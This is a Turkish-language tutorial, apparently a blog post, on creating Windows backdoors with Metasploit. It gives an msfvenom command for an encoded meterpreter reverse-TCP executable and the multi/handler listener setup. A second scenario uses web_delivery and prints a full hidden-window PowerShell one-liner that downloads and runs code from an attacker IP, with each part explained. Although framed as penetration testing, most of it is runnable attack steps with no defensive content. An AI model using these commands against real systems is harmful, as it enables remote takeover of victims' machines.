Metasploit, sızma testlerinde kullanılabilecek en idal yazılımlardan birisidir, içerisinde exploitler, payloadlar, auxiliaryler ve encoderlerin bulunduğu bir altyapıdır. Metasploit ile sadece saldırı yapılmaz. İşletim sistemlerinde yönelik backdoorlar oluşturulabilir ve bunlar üzerinden hedef sisteme saldırı ve ele geçirme işlemi yapılır.
Senaryo 1
Öncelikle metasploitin payloadlarını kullanarak bir windows backdoor oluşturalım. Terminal üzerinden “msfvenom –h” parametresini kullanarak daha fazla sonuç alabilirsiniz. Çalıştıracağımız komutlar şu şekildedir “msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST= LPORT= -f exe -o /root/isim.exe” şeklindedir.
Msfvenom = payload oluşturlacağı belirtilir.
-p = parametresi ile payload belirtilir.
-e = encoder seçimi belirtilir.
-i = encoding işleminin kaçkere tekrarlanacağı belirtilir.
-b = bad characters’ler temizlenir.
LHOST = Saldırganin IP adresi.
LPORT= Saldırganın dinleme yapacağı port.
-f = dosya tipi belirtilir..
-o = hangi dizine kayıt edileceği belirtilir.
Figure 1
Backdoor oluşturma işleminden sonra yeni bir terminal satırı açılır ve “msfconsole -q<grafik göstermesi engellenir.>” şeklinde metasploit çalıştırılır ve backdoor oluşturulurken girilen payload, ıp, port, bilgileri tanımlanır.
“use exploit/multi/handler” dönüş geleceği bildirilir.
“set PAYLOAD payload/ismi/seklinde/dizine/girilir”
“set LHOST <saldırgan ip>”
“set LPORT <saldırgan port>”
“exploit <dinleme işlemi başlatılır>”
Figure 2
Karşı tarafta backdoorun çalıştırılma anı;
Figure 3
Dinleme yapılan IP ve PORT’a gelen reverse bağalantı.
Figure 4
Senaryo 2
Öncelikle yeni bir terminal açılır ve “msfconsole” yazılır metasploit çalıştırılır. Burdan sonra ise “use exploit/multi/script/web_delivery” ile exploitin dizinine girilir. Burdan sonra ise saldırganın ip adresi yazılır şu şekilde “set LHOST <saldırgan ip>” bu adımdan sonra ise url path belirebilirsiniz ama otomatik olarak metasploitin oluşturması istenilirse “set URIPATH / “ şeklide yazılarak kendisi oluşturmaktadır, Son olarak “show targets” komutu ile hani dilde oluşturulacağı belirtilir, powershell ile oluşturulmak istenilirse “set TARGET 2 <PSH ID>” şeklinde belirtilir. Son olarak payload girilmektedir (show payloads ile daha detaylı bilgi alabilirsiniz.) meterpreter satırına düşmek istenilirse “set PAYLOAD windows/meterpreter/reverse_tcp” şeklinde girilir.
Figure 5
Son olarak “run” komutunu kullarak hem zararlı payloadımızı oluşturuyoruz ve dinlemeye alıyoruz.
Oluşturulan payload görüldüğü gibi şu şekildedir; powershell.exe -nop -w hidden -c $w=new-object net.webclient;$w.proxy=[Net.WebRequest]::GetSystemWebProxy();$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $w.downloadstring(‘http://192.168.157.128:8080/’);
Powershell.exe = powershell ile çalıştırılacağı belirtilir.
-w hidden = herhangi bir pencere açılmayacak.
-c = “command” yani powershell’in çalıştırılacağı kod anlamına gelir.
$w = internet objesi tanımlanmıştır, proxy varsa bile atlat anlamına gelmektedir.
IEX = http://192.168.157.128:8080/ adresinden powershell kodunu çalıştırılması belirtilmiştir.
Figure 6
Hedef sistem saldırganın zararlı scriptini çalıştırdığı an
Figure 7
Saldırgana gelen reverse bağlantı.
Figure 8
Teşekkürler